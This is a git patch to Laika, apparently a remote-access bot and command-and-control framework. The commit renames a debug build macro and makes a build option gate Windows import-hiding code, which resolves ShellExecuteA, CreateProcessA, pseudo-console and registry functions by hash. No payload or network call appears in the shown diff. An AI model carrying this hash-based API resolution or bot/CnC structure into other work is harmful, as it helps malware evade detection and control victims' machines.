From 3316c7766729c87f69c7980164fa0ed602eb1f07 Mon Sep 17 00:00:00 2001 From: CPunch Date: Wed, 5 Oct 2022 20:36:49 -0500 Subject: [PATCH] minor 'DEBUG' refactoring - for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h - LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well --- bot/CMakeLists.txt | 3 --- bot/src/main.c | 2 +- cnc/CMakeLists.txt | 3 --- lib/CMakeLists.txt | 4 ++-- lib/include/core/lerror.h | 4 ++-- lib/include/core/lsodium.h | 1 + lib/include/core/lvm.h | 4 ++-- lib/include/laika.h | 2 +- lib/include/lconfig.h.in | 1 + lib/include/lobf.h | 14 ++++++++++++++ lib/include/net/lpacket.h | 3 ++- lib/src/net/lpacket.c | 2 +- lib/win/winobf.c | 9 ++++++++- shell/CMakeLists.txt | 3 --- tools/genkey/CMakeLists.txt | 3 --- tools/vmboxgen/CMakeLists.txt | 3 --- tools/vmtest/CMakeLists.txt | 2 -- 17 files changed, 35 insertions(+), 28 deletions(-) diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index e41f244..05c0381 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE) add_dependencies(LaikaBot VMBoxGen) endif () -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaBot PUBLIC "$<$:DEBUG>") - # add include directory target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR}) diff --git a/bot/src/main.c b/bot/src/main.c index c80c3d1..f39573f 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -10,7 +10,7 @@ #include #ifdef _WIN32 -# ifndef DEBUG +# ifndef LAIKA_DEBUG_BUILD int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { # else diff --git a/cnc/CMakeLists.txt b/cnc/CMakeLists.txt index 754f228..a7490d3 100644 --- a/cnc/CMakeLists.txt +++ b/cnc/CMakeLists.txt @@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS}) target_link_libraries(LaikaCNC PUBLIC LaikaLib) -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaCNC PUBLIC "$<$:DEBUG>") - # add include directory target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR}) diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index bdac032..1baccea 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium) # make sure we're compiled *AFTER* lboxconfig.h has been generated add_dependencies(LaikaLib VMBoxGen) -# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaLib PUBLIC "$<$:DEBUG>") +# add the version definitions +target_compile_definitions(LaikaLib PUBLIC) # add include directory target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include) diff --git a/lib/include/core/lerror.h b/lib/include/core/lerror.h index 7eb4454..dae1aa2 100644 --- a/lib/include/core/lerror.h +++ b/lib/include/core/lerror.h @@ -24,10 +24,10 @@ /* LAIKA_ERROR(printf args): if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block, - otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else + otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else arguments are ignored. */ -#ifndef DEBUG +#ifndef LAIKA_DEBUG_BUILD # define LAIKA_ERROR(...) \ do { \ if (LAIKA_ISPROTECTED) \ diff --git a/lib/include/core/lsodium.h b/lib/include/core/lsodium.h index 88fb1de..8f9c2ca 100644 --- a/lib/include/core/lsodium.h +++ b/lib/include/core/lsodium.h @@ -1,6 +1,7 @@ #ifndef LAIKA_RSA_H #define LAIKA_RSA_H +#include "lconfig.h" #include "sodium.h" #include diff --git a/lib/include/core/lvm.h b/lib/include/core/lvm.h index 1565134..1ef19d6 100644 --- a/lib/include/core/lvm.h +++ b/lib/include/core/lvm.h @@ -76,7 +76,7 @@ enum OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */ /* misc. */ -#ifdef DEBUG +#ifdef LAIKA_DEBUG_BUILD OP_DEBUG #endif }; @@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) break; } -#ifdef DEBUG +#ifdef LAIKA_DEBUG_BUILD case OP_DEBUG: { int i; diff --git a/lib/include/laika.h b/lib/include/laika.h index 0214341..876e240 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -11,7 +11,7 @@ #include #include -#ifdef DEBUG +#ifdef LAIKA_DEBUG_BUILD # define LAIKA_DEBUG(...) \ printf("[~] " __VA_ARGS__); \ fflush(stdout); diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in index ccd99a0..e5a796f 100644 --- a/lib/include/lconfig.h.in +++ b/lib/include/lconfig.h.in @@ -15,6 +15,7 @@ /* settings */ #cmakedefine LAIKA_PERSISTENCE #cmakedefine LAIKA_OBFUSCATE +#cmakedefine LAIKA_DEBUG_BUILD /* raw obfuscated strings */ diff --git a/lib/include/lobf.h b/lib/include/lobf.h index b2211ff..6f373b5 100644 --- a/lib/include/lobf.h +++ b/lib/include/lobf.h @@ -7,6 +7,7 @@ # include # include +#ifdef LAIKA_OBFUSCATE /* WINAPI types */ typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT); typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *); @@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA; extern _RegCloseKey oRegCloseKey; extern _RegSetValueExA oRegSetValueExA; extern _RegQueryValueExA oRegQueryValueExA; +#else + +/* disabling obfuscation by macro magic :O */ +#define oShellExecuteA ShellExecuteA +#define oCreatePseudoConsole CreatePseudoConsole +#define oClosePseudoConsole ClosePseudoConsole +#define oCreateProcessA CreateProcessA +#define oRegOpenKeyExA RegOpenKeyExA +#define oRegCloseKey RegCloseKey +#define oRegSetValueExA RegSetValueExA +#define oRegQueryValueExA RegQueryValueExA + +#endif #endif void laikaO_init(); diff --git a/lib/include/net/lpacket.h b/lib/include/net/lpacket.h index bdfe6f2..17d802d 100644 --- a/lib/include/net/lpacket.h +++ b/lib/include/net/lpacket.h @@ -1,6 +1,7 @@ #ifndef LAIKA_PACKET_H #define LAIKA_PACKET_H +#include "lconfig.h" #include #define LAIKA_MAGIC "LAI\x12" @@ -121,7 +122,7 @@ enum typedef uint8_t LAIKAPKT_ID; typedef uint16_t LAIKAPKT_SIZE; -#ifdef DEBUG +#ifdef LAIKA_DEBUG_BUILD const char *laikaD_getPacketName(LAIKAPKT_ID); #endif diff --git a/lib/src/net/lpacket.c b/lib/src/net/lpacket.c index 6cdf533..79596fc 100644 --- a/lib/src/net/lpacket.c +++ b/lib/src/net/lpacket.c @@ -1,6 +1,6 @@ #include "net/lpacket.h" -#ifdef DEBUG +#ifdef LAIKA_DEBUG_BUILD const char *laikaD_getPacketName(LAIKAPKT_ID id) { const char *PKTNAMES[] = {"LAIKAPKT_VARPKT", diff --git a/lib/win/winobf.c b/lib/win/winobf.c index d493fb9..ffb74be 100644 --- a/lib/win/winobf.c +++ b/lib/win/winobf.c @@ -137,6 +137,7 @@ _findByHashFail: /* ======================================[[ Exposed API ]]====================================== */ +#ifdef LAIKA_OBFUSCATE _ShellExecuteA oShellExecuteA; _CreatePseudoConsole oCreatePseudoConsole; _ClosePseudoConsole oClosePseudoConsole; @@ -163,4 +164,10 @@ void laikaO_init() oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309)); oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7)); oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735)); -} \ No newline at end of file +} +#else +void laikaO_init() +{ + /* stubbed!! */ +} +#endif \ No newline at end of file diff --git a/shell/CMakeLists.txt b/shell/CMakeLists.txt index 408087e..2fe2bfa 100644 --- a/shell/CMakeLists.txt +++ b/shell/CMakeLists.txt @@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS}) target_link_libraries(LaikaShell PUBLIC LaikaLib) -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaShell PUBLIC "$<$:DEBUG>") - # add include directory target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR}) diff --git a/tools/genkey/CMakeLists.txt b/tools/genkey/CMakeLists.txt index 09e9f4e..4f763d1 100644 --- a/tools/genkey/CMakeLists.txt +++ b/tools/genkey/CMakeLists.txt @@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON) file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_executable(genKey ${GENKEYSOURCE}) target_link_libraries(genKey PUBLIC LaikaLib) - -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(genKey PUBLIC "$<$:DEBUG>") diff --git a/tools/vmboxgen/CMakeLists.txt b/tools/vmboxgen/CMakeLists.txt index c2890b4..4c8af38 100644 --- a/tools/vmboxgen/CMakeLists.txt +++ b/tools/vmboxgen/CMakeLists.txt @@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_executable(VMBoxGen ${VMTESTSOURCE}) target_link_libraries(VMBoxGen PUBLIC) -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(VMBoxGen PUBLIC "$<$:DEBUG>") - # generate the VMBOXCONFIG file if(LAIKA_OBFUSCATE) add_custom_command(TARGET VMBoxGen POST_BUILD diff --git a/tools/vmtest/CMakeLists.txt b/tools/vmtest/CMakeLists.txt index c25f4c8..b5fbc39 100644 --- a/tools/vmtest/CMakeLists.txt +++ b/tools/vmtest/CMakeLists.txt @@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_executable(vmTest ${VMTESTSOURCE}) target_link_libraries(vmTest PUBLIC LaikaLib) -# add the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(vmTest PUBLIC "$<$:DEBUG>")